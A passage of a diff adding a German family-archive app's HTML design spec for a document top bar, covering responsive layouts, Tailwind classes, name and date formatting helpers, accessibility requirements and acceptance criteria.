<div class="chip" style="padding:2px 6px 2px 3px"><div class="av purple" style="width:14px;height:14px;font-size:5px">ER</div><div class="cn" style="font-size:6.5px">Elfriede Raddatz</div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:4px;flex-shrink:0">
|
||||
<div class="btn-g" style="display:inline-flex;align-items:center;gap:3px"><div style="width:7px;height:7px;border:1.5px solid #888;border-radius:50%"></div>Annotieren</div>
|
||||
<div class="btn-p" style="display:inline-flex;align-items:center;gap:3px"><div style="width:6px;height:6px;border-left:1.5px solid #A1DCD8;border-bottom:1.5px solid #A1DCD8;position:relative"><div style="position:absolute;width:1.5px;height:5px;background:#A1DCD8;top:-4px;left:1.5px"></div></div>Bearbeiten</div>
|
||||
<div class="dv" style="height:16px"></div>
|
||||
<div class="ico"><div class="dl" style="color:#888"></div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pdf" style="height:150px"><div class="paper" style="height:118px"><div class="pl" style="width:65%"></div><div class="ps"></div><div class="ps" style="width:88%"></div><div class="ps" style="width:72%"></div></div></div>
|
||||
</div>
|
||||
<div class="cap">768px: full names, dot-only status indicator, Annotate + Bearbeiten + download icon. Status dot replaces text chip.</div>
|
||||
</div>
|
||||
<div class="col">
|
||||
<div class="lbl"><span class="tag">768px</span>Dark · annotate active</div>
|
||||
<div class="chrome dark" style="width:380px">
|
||||
<div class="bar"><div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="url"></div></div>
|
||||
<div class="nav dark"><div class="nav-logo">FAMILIENARCHIV</div><div class="nav-r"><div class="nav-av">KL</div></div></div>
|
||||
<div style="background:#0F1923;border-bottom:1.5px solid #1E2D3D;border-left:3px solid #A1DCD8">
|
||||
<div style="display:flex;align-items:center;padding:0 12px;height:30px;gap:10px">
|
||||
<div style="width:28px;height:28px;border-radius:50%;border:1.5px solid #1E2D3D;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:6px;height:6px;border-left:1.5px solid #4E6070;border-bottom:1.5px solid #4E6070;transform:rotate(45deg);margin-left:2px"></div></div>
|
||||
<div style="flex:1;min-width:0;display:flex;flex-direction:column;gap:3px">
|
||||
<div style="font-size:11.5px;font-weight:800;color:#EAE8E2;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:Georgia,serif">Brief an Großmutter</div>
|
||||
<div style="display:flex;align-items:center;gap:4px">
|
||||
<div class="chip dk" style="padding:2px 6px 2px 3px"><div class="av" style="width:14px;height:14px;font-size:5px">KR</div><div class="cn dk" style="font-size:6.5px">Karl Raddatz</div></div>
|
||||
<span class="arr dk" style="font-size:9px">→</span>
|
||||
<div class="chip dk" style="padding:2px 6px 2px 3px"><div class="av purple" style="width:14px;height:14px;font-size:5px">ER</div><div class="cn dk" style="font-size:6.5px">Elfriede Raddatz</div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="btn-g on dk" style="display:inline-flex;align-items:center;gap:3px"><div style="width:7px;height:7px;border:1.5px solid #012851;border-radius:50%"></div>Beenden</div>
|
||||
</div>
|
||||
<div class="hint dk"><div class="hint-lbl dk">Annotierungsmodus aktiv</div><div class="hint-txt">Klicken Sie auf eine Textstelle.</div></div>
|
||||
</div>
|
||||
<div class="pdf dark" style="height:142px"><div class="paper dark" style="height:112px;outline:2px solid rgba(161,220,216,.15)"><div class="pl"></div><div class="ps"></div><div class="ps" style="width:88%"></div></div></div>
|
||||
</div>
|
||||
<div class="cap">Annotate active: Edit + Download removed. "Beenden" fills teal. Hint strip visible. PDF outline teal at 15%.</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 1024px -->
|
||||
<div style="margin:24px 0 10px;font-size:11px;font-weight:700;color:#012851;border-left:3px solid #012851;padding-left:10px">1024 px · Laptop / 1440 px · Desktop</div>
|
||||
<div class="grid">
|
||||
<div class="col">
|
||||
<div class="lbl"><span class="tag">1024px</span>Light · 5 receivers (overflow open)</div>
|
||||
<div class="chrome" style="width:560px">
|
||||
<div class="bar"><div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="url"></div></div>
|
||||
<div class="nav"><div class="nav-logo">FAMILIENARCHIV</div><div class="nav-link">Dokumente</div><div class="nav-link">Personen</div><div class="nav-r"><div class="nav-av">KL</div></div></div>
|
||||
<div style="background:#fff;border-bottom:1.5px solid #E4E2D8;border-left:3px solid #012851;display:flex;align-items:center;padding:0 14px;height:30px;gap:10px;position:relative">
|
||||
<div style="width:28px;height:28px;border-radius:50%;border:1.5px solid #E0DDD6;display:flex;align-items:center;justify-content:center;flex-shrink:0"><div style="width:6px;height:6px;border-left:1.5px solid #666;border-bottom:1.5px solid #666;transform:rotate(45deg);margin-left:2px"></div></div>
|
||||
<div style="flex:1;min-width:0;display:flex;flex-direction:column;gap:3px">
|
||||
<div style="display:flex;align-items:center;gap:6px">
|
||||
<div style="font-size:12px;font-weight:800;color:#012851;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;font-family:Georgia,serif">Rundbrief an die Familie, Sommer 1951</div>
|
||||
<div class="st-dot" style="width:6px;height:6px;flex-shrink:0" title="Archiviert"></div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:5px;position:relative">
|
||||
<div style="font-size:6.5px;color:#AAA">18.07.1951 · Berlin</div>
|
||||
<span style="font-size:8px;color:#DDD">·</span>
|
||||
<div class="chip"><div class="av" style="width:14px;height:14px;font-size:5px">KR</div><div class="cn" style="font-size:6.5px">Karl Raddatz</div></div>
|
||||
<span class="arr" style="font-size:9px">→</span>
|
||||
<div class="chip"><div class="av purple" style="width:14px;height:14px;font-size:5px">ER</div><div class="cn" style="font-size:6.5px">Elfriede Raddatz</div></div>
|
||||
<div style="display:inline-flex;align-items:center;padding:2px 6px;background:#012851;border:1px solid #012851;border-radius:10px;font-size:6.5px;font-weight:700;color:#A1DCD8;position:relative">
|
||||
+4 weitere
|
||||
<div style="position:absolute;top:18px;left:0;background:#fff;border:1.5px solid #E0DDD6;border-radius:5px;padding:10px 12px;min-width:155px;z-index:10;box-shadow:0 4px 16px rgba(0,0,0,.12)">
|
||||
<div style="font-size:7px;font-weight:800;color:#AAA;text-transform:uppercase;letter-spacing:.6px;margin-bottom:7px;border-bottom:1px solid #F0EEE8;padding-bottom:5px">Weitere Empfänger</div>
|
||||
<div style="display:flex;align-items:center;gap:6px;margin-bottom:5px"><div class="av teal" style="width:16px;height:16px;font-size:5.5px">HR</div><div style="font-size:9.5px;color:#333;font-weight:500">Hans Raddatz</div></div>
|
||||
<div style="display:flex;align-items:center;gap:6px;margin-bottom:5px"><div class="av moss" style="width:16px;height:16px;font-size:5.5px">MR</div><div style="font-size:9.5px;color:#333;font-weight:500">Maria Raddatz</div></div>
|
||||
<div style="display:flex;align-items:center;gap:6px"><div class="av rust" style="width:16px;height:16px;font-size:5.5px">GR</div><div style="font-size:9.5px;color:#333;font-weight:500">Gerhard Raddatz</div></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:5px;flex-shrink:0">
|
||||
<div class="btn-g" style="display:inline-flex;align-items:center;gap:3px"><div style="width:7px;height:7px;border:1.5px solid #888;border-radius:50%"></div>Annotieren</div>
|
||||
<div class="btn-p">Bearbeiten</div>
|
||||
<div class="dv" style="height:16px"></div>
|
||||
<div class="ico"><div class="dl" style="color:#888"></div></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="pdf" style="height:155px"><div class="paper" style="height:122px"><div class="pl" style="width:65%"></div><div class="ps"></div><div class="ps" style="width:88%"></div></div></div>
|
||||
</div>
|
||||
<div class="cap">Active overflow pill fills navy. Tooltip drops below: "Weitere Empfänger" + avatar + name link per person.</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Topbar Layout per Breakpoint <span>Real values · mockup above is ~55% scale</span></div>
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>XS <375px</th><th>Mobile 375–767px</th><th>Tablet/Desktop ≥768px</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Topbar height</td><td><code>h-12</code> <span class="ir-px">48px</span></td><td><code>h-14</code> <span class="ir-px">56px</span></td><td><code>h-14</code> <span class="ir-px">56px</span></td><td class="ir-warn">⚠ Increased from B1 spec (was 44/50/52px) to fit text-[11px]+ chip row.</td></tr>
|
||||
<tr><td>Back button wrapper</td><td colspan="3"><code>a href="/documents" w-11 h-11 -ml-2 flex items-center justify-center shrink-0 focus-visible:ring-2</code></td><td><code>w-11 h-11</code> = 44×44px touch area. -ml-2 = visual alignment. aria-label="Zurück zur Dokumentenliste" always.</td></tr>
|
||||
<tr><td>Back button visual</td><td><code>w-6 h-6 rounded-sm bg-muted flex items-center justify-center</code></td><td><code>w-6 h-6 rounded-full border border-line flex items-center justify-center</code></td><td><code>w-7 h-7 rounded-full border border-line flex items-center justify-center</code></td><td>Shape changes at xs breakpoint. Inner chevron SVG 10×10px.</td></tr>
|
||||
<tr><td>Title</td><td><code>font-serif font-extrabold text-[11px] text-ink truncate</code></td><td><code>font-serif font-extrabold text-[11px] text-ink truncate</code></td><td><code>font-serif font-extrabold text-[12px] lg:text-[13px] text-ink truncate</code></td><td class="ir-warn">⚠ Minimum 11px — original spec said 10px, corrected.</td></tr>
|
||||
<tr><td>Status indicator</td><td>Hidden <code>hidden</code></td><td>Hidden <code>hidden</code></td><td><code>hidden md:block w-2.5 h-2.5 rounded-full shrink-0</code></td><td>Dot only. title + aria-label carry label. See statusDotClass() for colours.</td></tr>
|
||||
<tr><td>Date text</td><td>In xsMetaLine string</td><td><code>text-xs text-ink-2 shrink-0</code> format: "24.12.1943"</td><td><code>text-xs text-ink-2 shrink-0</code> format: ≥1024px long ("24. Dezember 1943")</td><td>Date format switches via Tailwind: <code><span class="lg:hidden">24.12.1943</span><span class="hidden lg:inline">{longDate}</span></code></td></tr>
|
||||
<tr><td>Location in meta</td><td>Hidden</td><td>Hidden</td><td>Shown if doc.location present at ≥768px: <code>hidden md:inline</code></td><td>// TODO: show location when doc.location field available on DTO</td></tr>
|
||||
<tr><td>Edit button (XS/mobile)</td><td colspan="2"><code>inline-flex items-center justify-center w-11 h-11 -mr-2 shrink-0</code> with pencil SVG 18×18px. aria-label="Bearbeiten".</td><td>—</td><td class="ir-warn">⚠ Icon-only on mobile. "Bearbeiten" text hidden below 768px.</td></tr>
|
||||
<tr><td>Edit button (tablet+)</td><td>—</td><td>—</td><td><code>hidden md:inline-flex h-10 items-center gap-2 px-4 bg-primary text-primary-fg text-[11px] font-bold uppercase tracking-wide rounded-sm</code></td><td>Shows pencil icon + "Bearbeiten" label at ≥768px.</td></tr>
|
||||
<tr><td>Annotate button</td><td>Hidden <code>hidden</code></td><td>Hidden <code>hidden</code></td><td><code>hidden md:inline-flex h-10 items-center gap-2 px-3 border border-line text-ink-2 text-[11px] font-bold uppercase tracking-wide rounded-sm</code></td><td>Active: <code>bg-primary border-primary text-primary-fg</code>. Label "Annotieren" → "Beenden". aria-pressed={annotateMode}.</td></tr>
|
||||
<tr><td>Download button</td><td>Hidden</td><td>Hidden</td><td><code>hidden md:inline-flex w-10 h-10 items-center justify-center border border-line rounded-sm text-ink-2</code></td><td>Icon only — download SVG 18×18px.</td></tr>
|
||||
<tr><td>Divider</td><td>Hidden</td><td>Hidden</td><td><code>hidden md:block w-px h-4 bg-line shrink-0</code></td><td>Between download icon and Bearbeiten button.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 4 — RESPONSIVE RULES TABLE (updated)
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>4 · Responsive rules (authoritative)</h2><p>All heights and font sizes updated from resolved review. These values override the B1 spec.</p></div>
|
||||
|
||||
<div class="rules">
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>≤ 374px (XS)</th><th>375–767px (mobile)</th><th>768–1023px (tablet)</th><th>≥ 1024px (desktop)</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Topbar height</td><td>h-12 (48px)</td><td>h-14 (56px)</td><td>h-14 (56px)</td><td>h-14 (56px)</td></tr>
|
||||
<tr><td>Back button</td><td>Square 24×24 <code>rounded-sm bg-muted</code></td><td>Circle 24×24 <code>rounded-full border-line</code></td><td>Circle 28×28 <code>rounded-full border-line</code></td><td>Circle 28×28</td></tr>
|
||||
<tr><td>Touch target</td><td colspan="4"><code>w-11 h-11 -ml-2</code> wrapper around all back button variants. Always 44×44px.</td></tr>
|
||||
<tr><td>Title size</td><td>text-[11px] / 800</td><td>text-[11px] / 800</td><td>text-[12px] / 800</td><td>text-[13px] / 800</td></tr>
|
||||
<tr><td>Chip row</td><td>Hidden → plain-text xsMetaLine</td><td>Shown — abbreviated names</td><td>Shown — full names</td><td>Shown — full names + location</td></tr>
|
||||
<tr><td>Chip name text</td><td>N/A</td><td>text-[9px] / 600</td><td>text-[9px] / 600</td><td>text-[9px] / 600</td></tr>
|
||||
<tr><td>Date format</td><td><code>dd.mm.yyyy</code> in xsMetaLine</td><td><code>24.12.1943</code></td><td><code>24.12.1943</code></td><td><code>24. Dezember 1943</code></td></tr>
|
||||
<tr><td>Status indicator</td><td>Hidden</td><td>Hidden</td><td>Dot only — <code>w-2.5 h-2.5 rounded-full</code></td><td>Dot only</td></tr>
|
||||
<tr><td>Annotate button</td><td>Hidden</td><td>Hidden</td><td>Shown — "Annotieren"</td><td>Shown — "Annotieren"</td></tr>
|
||||
<tr><td>Edit button</td><td>Icon only (pencil SVG)</td><td>Icon only</td><td>Icon + "Bearbeiten"</td><td>Icon + "Bearbeiten"</td></tr>
|
||||
<tr><td>Download button</td><td>Hidden</td><td>Hidden</td><td>Icon only</td><td>Icon only</td></tr>
|
||||
<tr><td>Overflow pill</td><td>N/A (chips hidden)</td><td><code><span aria-hidden></code> "+N"</td><td><code><button></code> "+N weitere" → tooltip</td><td><code><button></code> "+N weitere" → tooltip</td></tr>
|
||||
<tr><td>Hint strip</td><td>Hidden</td><td>Hidden</td><td>18px strip when annotateMode</td><td>18px strip when annotateMode</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Tailwind breakpoint setup <span>tailwind.config.ts</span></div>
|
||||
<table>
|
||||
<thead><tr><th>Item</th><th>Value</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Custom xs breakpoint</td><td><code>xs: '375px'</code> in <code>theme.extend.screens</code></td><td class="ir-warn">⚠ Tailwind 4 may use different config syntax — verify before using <code>xs:</code> prefix classes. Without this, <code>xs:flex</code> silently does nothing.</td></tr>
|
||||
<tr><td>Usage for chip row</td><td><code>hidden xs:flex</code></td><td>Hidden at <375px, flex at ≥375px.</td></tr>
|
||||
<tr><td>Usage for XS meta</td><td><code>block xs:hidden</code></td><td>Only visible below 375px.</td></tr>
|
||||
<tr><td>Usage for overflow pill type</td><td>CSS only: <code>hidden xs:inline-flex</code> for button, always-rendered span for mobile with <code>md:hidden</code></td><td>Prefer CSS over JS viewport check — no SSR issues.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 5 — OVERFLOW TOOLTIP
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>5 · Overflow tooltip</h2><p>Clicking "+N weitere" opens a floating panel. Only at ≥768px. Mobile overflow pill is a non-interactive span.</p></div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — OverflowPill component <span>Real values · Svelte 5</span></div>
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>Tailwind classes</th><th>Real size</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Pill (interactive ≥768px)</td><td><code>inline-flex items-center rounded-full border border-line bg-muted px-2 py-1 text-[9px] font-bold text-ink-2 whitespace-nowrap shrink-0 cursor-pointer</code></td><td><span class="ir-px">h ~28px, 9px text</span></td><td>Active state: <code>bg-primary border-primary text-primary-fg</code>. aria-haspopup="listbox" aria-expanded={open} aria-label="{count} weitere Empfänger".</td></tr>
|
||||
<tr><td>Pill (non-interactive <768px)</td><td>same visual classes as above on <code><span aria-hidden="true"></code></td><td>—</td><td>No button, no onclick, no tooltip. Users access full receiver list via document edit page.</td></tr>
|
||||
<tr><td>Tooltip panel</td><td><code>absolute top-full left-0 mt-1 bg-surface border border-line rounded-md shadow-lg p-3 min-w-[160px] z-50</code></td><td><span class="ir-px">min 160px wide, p 12px</span></td><td>position:relative on chip row container. role="listbox".</td></tr>
|
||||
<tr><td>Tooltip header</td><td><code>text-[9px] font-bold uppercase tracking-wide text-ink-2 border-b border-line pb-2 mb-2</code></td><td><span class="ir-px">9px / 700</span></td><td>Text: "Weitere Empfänger".</td></tr>
|
||||
<tr><td>Person row</td><td><code>flex items-center gap-2 py-1 rounded hover:bg-muted</code></td><td><span class="ir-px">min 32px tall</span></td><td>role="option". Each row is an <a href="/persons/{id}">. Avatar 16×16px.</td></tr>
|
||||
<tr><td>Person name in tooltip</td><td><code>text-[11px] font-medium text-ink</code></td><td><span class="ir-px">11px / 500</span></td><td>Full name always shown in tooltip.</td></tr>
|
||||
<tr><td>Keyboard: open</td><td>—</td><td>—</td><td>Enter/Space on pill → open tooltip → focus first role="option".</td></tr>
|
||||
<tr><td>Keyboard: navigate</td><td>—</td><td>—</td><td>Tab/Shift+Tab between options inside tooltip.</td></tr>
|
||||
<tr><td>Keyboard: close</td><td>—</td><td>—</td><td>Escape → close + return focus to pill. Click-outside → close. Second click on pill → close.</td></tr>
|
||||
<tr><td>Click-outside</td><td>—</td><td>—</td><td>Use <code>use:clickOutside</code> Svelte action — do not use document.addEventListener directly in $effect.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Annotate hint strip <span>AnnotateHintStrip.svelte</span></div>
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>Tailwind classes</th><th>Real size</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Strip wrapper</td><td><code>hidden md:flex h-[18px] items-center gap-2 border-t border-dashed px-3.5</code></td><td><span class="ir-px">h 18px</span></td><td>Only rendered when annotateMode===true via Svelte {#if}. hidden below md.</td></tr>
|
||||
<tr><td>Strip bg (light)</td><td><code>bg-[rgba(1,40,81,0.05)]</code></td><td>—</td><td class="ir-warn">⚠ Use explicit rgba — bg-primary/5 requires RGB --color-primary. Fallback if not converted.</td></tr>
|
||||
<tr><td>Strip border (light)</td><td><code>border-[rgba(1,40,81,0.20)]</code></td><td>—</td><td>Same caveat — explicit rgba.</td></tr>
|
||||
<tr><td>Strip bg (dark)</td><td><code>dark:bg-[rgba(161,220,216,0.04)]</code></td><td>—</td><td>Explicit rgba.</td></tr>
|
||||
<tr><td>Label text</td><td><code>text-[9px] font-bold uppercase tracking-wide text-primary</code></td><td><span class="ir-px">9px / 700</span></td><td class="ir-warn">⚠ Corrected from spec's 5.5px — minimum 9px. Dark: text-primary-fg.</td></tr>
|
||||
<tr><td>Body text</td><td><code>text-[9px] text-ink-2</code></td><td><span class="ir-px">9px</span></td><td>"Klicken Sie auf eine Textstelle im Dokument, um eine Anmerkung hinzuzufügen."</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 6 — UTILITY FUNCTIONS
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>6 · Utility functions — <code>src/lib/utils/personFormat.ts</code></h2><p>Pure functions. Write Vitest unit tests for each before implementing. No DOM, no side effects.</p></div>
|
||||
|
||||
<div class="rules">
|
||||
<table>
|
||||
<thead><tr><th>Function</th><th>Signature</th><th>Behaviour & edge cases</th></tr></thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>abbreviateName</td>
|
||||
<td><code>abbreviateName(person: Person): string</code></td>
|
||||
<td>
|
||||
"Karl Raddatz" → "K. Raddatz"<br>
|
||||
"Elfriede" (single name) → "Elfriede" (no initial, return as-is)<br>
|
||||
"Karl Müller-Schmidt" → "K. Müller-Schmidt" (preserve hyphenated last name)<br>
|
||||
Split on first space only. First character of first word + ". " + rest.
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>formatXsMeta</td>
|
||||
<td><code>formatXsMeta(doc: Document): string</code></td>
|
||||
<td>
|
||||
0 receivers: "K.Raddatz · 24.12.1943"<br>
|
||||
1 receiver: "K.Raddatz → E.Raddatz · 24.12.1943"<br>
|
||||
3 receivers: "K.Raddatz → E.Raddatz +2 · 24.12.1943"<br>
|
||||
No sender: "E.Raddatz · 24.12.1943"<br>
|
||||
Abbreviated format: first initial + dot + last name, no space (e.g. "K.Raddatz").<br>
|
||||
Date: <code>dd.mm.yyyy</code> format, no spaces.
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>personAvatarColor</td>
|
||||
<td><code>personAvatarColor(personId: string): string</code></td>
|
||||
<td>
|
||||
Returns one of: <code>['#012851','#5A3080','#007596','#2A6040','#803020']</code><br>
|
||||
Must be deterministic: same ID always returns same colour.<br>
|
||||
Implementation: <code>PALETTE[simpleHash(id) % PALETTE.length]</code><br>
|
||||
<strong>simpleHash</strong>: sum of char codes, or djb2. Never interpolate the ID string into CSS directly.<br>
|
||||
Test: 1000 random UUIDs → all map to valid palette entry.
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>formatDate</td>
|
||||
<td><code>formatDate(isoDate: string, format: 'short' | 'long'): string</code></td>
|
||||
<td>
|
||||
short: "24.12.1943" — use <code>Intl.DateTimeFormat('de-DE', {day:'2-digit', month:'2-digit', year:'numeric'})</code><br>
|
||||
long: "24. Dezember 1943" — use <code>month: 'long'</code><br>
|
||||
Always parse with <code>new Date(isoDate + 'T12:00:00')</code> to avoid UTC off-by-one.
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>statusDotClass</td>
|
||||
<td><code>statusDotClass(status: DocumentStatus): string</code></td>
|
||||
<td>
|
||||
PLACEHOLDER → <code>'bg-gray-400'</code><br>
|
||||
UPLOADED → <code>'bg-emerald-500'</code><br>
|
||||
TRANSCRIBED → <code>'bg-blue-400'</code><br>
|
||||
REVIEWED → <code>'bg-amber-400'</code><br>
|
||||
ARCHIVED → <code>'bg-emerald-600'</code>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>statusLabel (for title/aria)</td>
|
||||
<td><code>statusLabel(status: DocumentStatus): string</code></td>
|
||||
<td>
|
||||
German labels (not shown as text, used in title + aria-label only):<br>
|
||||
PLACEHOLDER → "Platzhalter" · UPLOADED → "Hochgeladen" · TRANSCRIBED → "Transkribiert"<br>
|
||||
REVIEWED → "Geprüft" · ARCHIVED → "Archiviert"
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 7 — ACCESSIBILITY
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>7 · Accessibility requirements (WCAG 2.2 AA)</h2></div>
|
||||
|
||||
<div class="rules">
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>Requirement</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Landmark</td><td>Parent page must wrap topbar in <code><header role="banner"></code> or the topbar must itself be in <code><header></code>. Verify parent layout.</td></tr>
|
||||
<tr><td>Back link</td><td><code>aria-label="Zurück zur Dokumentenliste"</code> always present — icon is the only visible element at XS.</td></tr>
|
||||
<tr><td>Edit button (icon-only mobile)</td><td><code>aria-label="Bearbeiten"</code> always present, even at mobile where it renders icon-only.</td></tr>
|
||||
<tr><td>Annotate button</td><td><code>aria-pressed={annotateMode}</code>. Label changes: "Annotieren" → "Beenden".</td></tr>
|
||||
<tr><td>Overflow pill</td><td><code>aria-haspopup="listbox"</code> (not "true"), <code>aria-expanded={overflowOpen}</code>, <code>aria-label="{extraCount} weitere Empfänger anzeigen"</code>.</td></tr>
|
||||
<tr><td>Overflow tooltip</td><td><code>role="listbox"</code> on panel. <code>role="option"</code> on each person row. Not a modal — no focus trap needed.</td></tr>
|
||||
<tr><td>Tooltip focus flow</td><td>Opening tooltip moves focus to first <code>role="option"</code>. Tab/Shift+Tab navigates within. Escape closes + returns focus to pill.</td></tr>
|
||||
<tr><td>Arrow between chips</td><td><code>aria-hidden="true"</code> on the → character. Directionality conveyed by order, not just the arrow.</td></tr>
|
||||
<tr><td>Status dot</td><td><code>title={statusLabel(doc.status)}</code> for hover tooltip. <code>aria-label={statusLabel(doc.status)}</code>. No text label rendered.</td></tr>
|
||||
<tr><td>Touch targets</td><td>Back button: 44×44px via wrapper. Edit (mobile): 44×44px via wrapper. Overflow pill: naturally ≥44px wide at ≥375px. All verified.</td></tr>
|
||||
<tr><td>Focus rings</td><td>Never <code>outline:none</code> without a replacement. All interactive elements: <code>focus-visible:ring-2 focus-visible:ring-primary</code>.</td></tr>
|
||||
<tr><td>Colour alone</td><td>Status uses colour + aria-label. Never colour as only signal. Annotate mode uses label change "Beenden" + visual fill + hint strip.</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 8 — ACCEPTANCE CRITERIA
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh"><h2>8 · Acceptance criteria</h2></div>
|
||||
|
||||
<div class="rules">
|
||||
<table>
|
||||
<thead><tr><th>ID</th><th>Criterion</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>AC-01</td><td>Topbar renders correctly at 320px, 375px, 768px, 1024px, 1440px — matches spec screenshots. Verified by /proofshot at all 5 widths.</td></tr>
|
||||
<tr><td>AC-02</td><td>Light and dark themes match token table — no hardcoded hex values in any component file.</td></tr>
|
||||
<tr><td>AC-03</td><td>0-receiver, 1-receiver, 2-receiver, 3-receiver, and 5-receiver cases all render correctly per Section 2.</td></tr>
|
||||
<tr><td>AC-04</td><td>No-sender case: chip row shows receivers only (or first person if no sender), no arrow rendered.</td></tr>
|
||||
<tr><td>AC-05</td><td>Overflow tooltip opens/closes on click, Enter/Space, Escape. Escape returns focus to pill. Click-outside closes.</td></tr>
|
||||
<tr><td>AC-06</td><td>Opening tooltip moves focus to first person link inside tooltip.</td></tr>
|
||||
<tr><td>AC-07</td><td>Overflow tooltip links navigate to correct /persons/{id} URL.</td></tr>
|
||||
<tr><td>AC-08</td><td>Overflow pill at <768px is a non-interactive span — no tooltip, no tap action.</td></tr>
|
||||
<tr><td>AC-09</td><td>Annotate mode: Edit + Download hidden; hint strip visible; button label "Beenden"; aria-pressed=true.</td></tr>
|
||||
<tr><td>AC-10</td><td>Annotate hint strip NOT rendered below 768px even when annotateMode===true.</td></tr>
|
||||
<tr><td>AC-11</td><td>Status dot visible at ≥768px with correct colour per status. Hidden below.</td></tr>
|
||||
<tr><td>AC-12</td><td>All touch targets ≥44×44px at mobile (back button, edit button, overflow pill where interactive).</td></tr>
|
||||
<tr><td>AC-13</td><td>aria-pressed, aria-haspopup="listbox", aria-expanded, aria-label on all interactive elements.</td></tr>
|
||||
<tr><td>AC-14</td><td>svelte-check passes with no new type errors.</td></tr>
|
||||
<tr><td>AC-15</td><td>Unit tests pass for: abbreviateName (full, single, hyphenated), formatXsMeta (0/1/3+ receivers, no sender), personAvatarColor (deterministic, palette-only), statusDotClass (all 5 values), statusLabel (all 5 values), formatDate (short, long, UTC boundary).</td></tr>
|
||||
<tr><td>AC-16</td><td>Visual proof: /proofshot against document detail page at all 5 viewport widths, both light and dark themes (10 screenshots).</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<hr>
|
||||
|
||||
<div style="font-size:10px;color:#AAA;text-align:center;padding:16px 0">
|
||||
DocumentTopBar Final Spec · Familienarchiv · 2026-03-31 · Leonie Voss<br>
|
||||
Supersedes <code>document-topbar-b1-responsive.html</code> · All resolutions from issue #161 review incorporated
|
||||
</div>
|
||||
|
||||
</div><!-- /page -->
|
||||
</body>
|
||||
</html>
|
||||
959
docs/specs/inline-transcription-split-variations.html
Normal file
959
docs/specs/inline-transcription-split-variations.html
Normal file
@@ -0,0 +1,959 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8"/>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
|
||||
<title>Side-by-Side Split — 5 Variations</title>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Fraunces:opsz,wght@9..144,300;9..144,400;9..144,500&family=DM+Sans:wght@300;400;500;600&family=DM+Mono:wght@400;500&display=swap" rel="stylesheet"/>
|
||||
<style>
|
||||
